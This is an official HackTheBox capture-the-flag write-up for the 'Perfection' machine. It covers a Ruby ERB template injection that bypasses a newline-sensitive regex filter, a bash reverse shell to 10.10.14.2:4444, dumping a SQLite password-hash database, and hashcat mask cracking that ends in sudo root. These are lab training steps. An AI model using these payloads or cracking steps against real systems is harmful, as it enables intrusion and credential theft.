Perfection
Perfection
Difficulty: Easy
Classification: Official
Synopsis
Perfection is an easy Linux machine that features a web application with functionality to calculate
student scores. This application is vulnerable to Server-Side Template Injection (SSTI) via regex
filter bypass. A foothold can be gained by exploiting the SSTI vulnerability. Enumerating the user
reveals they are part of the sudo group. Further enumeration uncovers a database with password
hashes, and the user's mail reveals a possible password format. Using a mask attack on the hash,
the user's password is obtained, which is leveraged to gain root access.
Skills Required
Web Enumeration
Linux Enumeration
Skills Learned
Ruby Server-Side Template Injection (SSTI)
The scan shows that SSH is listening on its default port, i.e. port 22 and that an NGINX HTTP
web server is running on port 80 .
HTTP
Browsing to port 80 , we come across a "Weighted Grade Calculator", which is a tool for students
to quickly calculate their total grade based on category scores and percentage weights.
Looking at the About Us page that has a section about team members, we see a mention of one
of the users who apparently does not know much about secure coding. This hints at some coding
errors in the web application that we might be able to exploit.
Additionally, the footer mentions WEBrick 1.7.0, which is a Ruby library used to build web servers.
Upon inspecting the /weighted-grade endpoint, we see that it accepts user input.
The use of BurpSuite is beyond the scope of this writeup. Interested readers are urged to
consult the HTB Academy module on web proxies.
We send the request to the BurpSuite Repeater by pressing Ctrl+r . This allows us to modify
the request repeatedly and observe the responses with ease.
The way the output is formatted and returned to us on the website indicates the use of a
templating engine, which opens up the possibility of a Server-Side Template Injection (SSTI)
vulnerability. Embedded Ruby (ERB) is a templating system in Ruby that allows embedding Ruby
code within a text document, often used in web applications to generate dynamic content.
Considering this possibility, we enter the payload <%= %> (an ERB payload commonly used in
Ruby web applications) into the Category field and attempt to send the request.
Upon sending the request, we see that malicious input is blocked, indicating that some filtering is
happening on the server side. Often, regular expressions (regex) are used on the server side to
filter for malicious input, which is also possible in the Ruby language.
Ruby Regex
Ruby has the =~ operator for strings and regex matching:
As seen here, the string "SampleText" matches the regex /^[a-zA-Z]+$/ , which means that it
matches a line of text containing only uppercase and lowercase letters.
However, if we insert a newline into the input along with some characters not matched by the
regex, such as { , and try to match it with the same regex, we can observe that it still matches:
Foothold
Knowing this, we could potentially bypass the Ruby input validation by having a valid input at the
start and then our payload on a new line.
test
<%= IO.popen("sleep 10").readlines() %>
This payload will cause the server to execute the sleep 10 command, making the page hang for
ten seconds. If the page indeed hangs, it indicates that the injection was successful.
Inside the Repeater window, we modify the intercepted request to include our payload in the
category1 parameter, making sure to URL-encode it. We manually include the newline character
by using its URL-encoding %0A :
test%0A<%25%3d+IO.popen("sleep+10").readlines()%25>
Note: You can URL-encode text in BurpSuite by highlighting it and pressing Ctrl+u .
The page hangs for ten seconds, indicating that the injection worked!
Test1
<%= IO.popen("bash -c 'bash -i >& /dev/tcp/10.10.14.2/4444 0>&1'").readlines() %>
This payload injects a command that initiates a reverse shell, connecting back to our machine on
the IP 10.10.14.2 and port 4444 . We also start a Netcat listener to receive the connection:
nc -lnvp 4444
We then send the request, URL-encoding it to ensure it is correctly processed by the server.
Test1%0A<%25%3d+IO.popen("bash+-c+'bash+-
i+>%26+/dev/tcp/10.10.14.2/4444+0>%261'").readlines()+%25>
Looking back at our Netcat listener, we see that we get a connection back. This confirms that the
reverse shell was successfully executed, allowing us to interactively execute commands on the
target server.
nc -lnvp 4444
To get a more stable shell, we can run script /dev/null -c /bin/bash . This command starts a
new shell session under script , which makes interactive features like job control and command
history work properly, providing a more stable and functional shell environment. We can then
proceed to read the user flag from the /home/susan folder.
susan@perfection:~/ruby_app$ cd /home/susan
susan@perfection:~$ cat user.txt
<REDACTED>
Privilege Escalation
Enumerating the system, we run the id command to gather information about the current user:
susan@perfection:~$ id
We see that the user susan is in the sudo group. Since sudo requires a password, we need to
find the password for the susan user.
Why the sudo Group is Interesting
The sudo group is crucial for privilege escalation because members of this group can
execute commands as the root user or other users with elevated privileges. If we can
obtain the password for a user in the sudo group, we can gain full control over the system,
bypassing many security restrictions.
Further enumeration reveals that susan has an email in the mail folder:
total 12
drwxrwsr-x 2 root mail 4096 May 14 2023 .
drwxr-xr-x 13 root root 4096 Oct 27 2023 ..
-rw-r----- 1 root susan 625 May 14 2023 susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I
thought we should also migrate our credentials ('our' including the other
students
in our class) to the new platform. I also suggest a new password specification,
to make things easier for everyone. The password format is:
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. I am currently
registering our university with the platform.
From this, we can glean a password format specification for the PupilPath passwords of
students and the teacher (Susan). PupilPath is an online platform used for tracking student
grades and attendance.
In the susan user's home directory, there is a folder ( Migration ) with the migration database:
total 16
drwxr-xr-x 2 root root 4096 Oct 27 2023 .
drwxr-x--- 7 susan susan 4096 Feb 26 09:41 ..
-rw-r--r-- 1 root root 8192 May 14 2023 pupilpath_credentials.db
The Migration folder contains the pupilpath_credentials.db file, which likely holds important
data related to the transition from PupilPath to the new system.
To enumerate the database, we proceed with the following steps:
sqlite> .tables
users
1|Susan
Miller|abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
2|Tina Smith|dd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57
3|Harry
Tyler|d33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393
4|David
Lawrence|ff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87a
5|Stephen
Locke|154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8
The select * from users; command lists all the usernames and their respective password
hashes in the users table.
We are primarily interested in Susan 's password hash for further privilege escalation. The length
of the hashes indicates that these are likely SHA-256 hashes. We can run a quick check using
hash-identifier on our machine:
hash-identifier
<...SNIP...>
--------------------------------------------------
HASH: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
Possible Hashs:
[+] SHA-256
[+] Haval-256
Mask Attacks
Mask attacks are used to generate words matching a specific pattern. This type of attack is
particularly useful when the password length or format is known. Knowing the password format,
we can create a wordlist starting with susan_nasus_ , append every pattern of 9 digits, hash it, and
compare it to Susan's hash. There is about a 90% chance that the random number generated was
a 9-digit number, which is why we are focusing on 9-digit numbers for now.
Using mode 6 in Hashcat (which appends each candidate in a keyspace to each word in a
wordlist), we can find Susan's password.
-a 6 : Specifies the attack mode, in this case, a combinator attack where each candidate
in the keyspace is appended to each word in the wordlist.
This command tells Hashcat to use SHA-256 hashing (mode 1400 ) and a combinator attack
(mode 6 ) to append all 9-digit combinations (?d?d?d?d?d?d?d?d?d) to each entry in the wordlist
wl , and compare the resulting hashes to the hash provided in the hash file. If the hash matches,
the corresponding password is considered cracked. After a few minutes, it cracks:
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM
14.0.6, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
=================================================================================
=========================================================
* Device #1: pthread--0x000, 2914/5892 MB (1024 MB allocatable), 4MCU
<...SNIP...>
abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f:susan_nasus_4137
59210
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: abeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a3019934...39023f
Time.Started.....: Tue May 21 05:16:08 2024 (47 secs)
Time.Estimated...: Tue May 21 05:16:55 2024 (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.......: File (wl), Left Side
Guess.Mod........: Mask (?d?d?d?d?d?d?d?d?d) [9], Right Side
Guess.Queue.Base.: 1/1 (100.00%)
Guess.Queue.Mod..: 1/1 (100.00%)
Speed.#1.........: 2157.0 kH/s (0.03ms) @ Accel:512 Loops:256 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 125967360/1000000000 (12.60%)
Rejected.........: 0/125967360 (0.00%)
Restore.Point....: 0/1 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:125967104-125967360 Iteration:0-256
Candidate.Engine.: Device Generator
Candidates.#1....: susan_nasus_981539210 -> susan_nasus_643759210
Hardware.Mon.#1..: Util: 26%
We have obtained the password susan_nasus_413759210 , which we now try to use to run sudo
and escalate our privileges to root :
susan@perfection:~/Migration$ sudo -i
root@perfection:~# id
uid=0(root) gid=0(root) groups=0(root)
<REDACTED>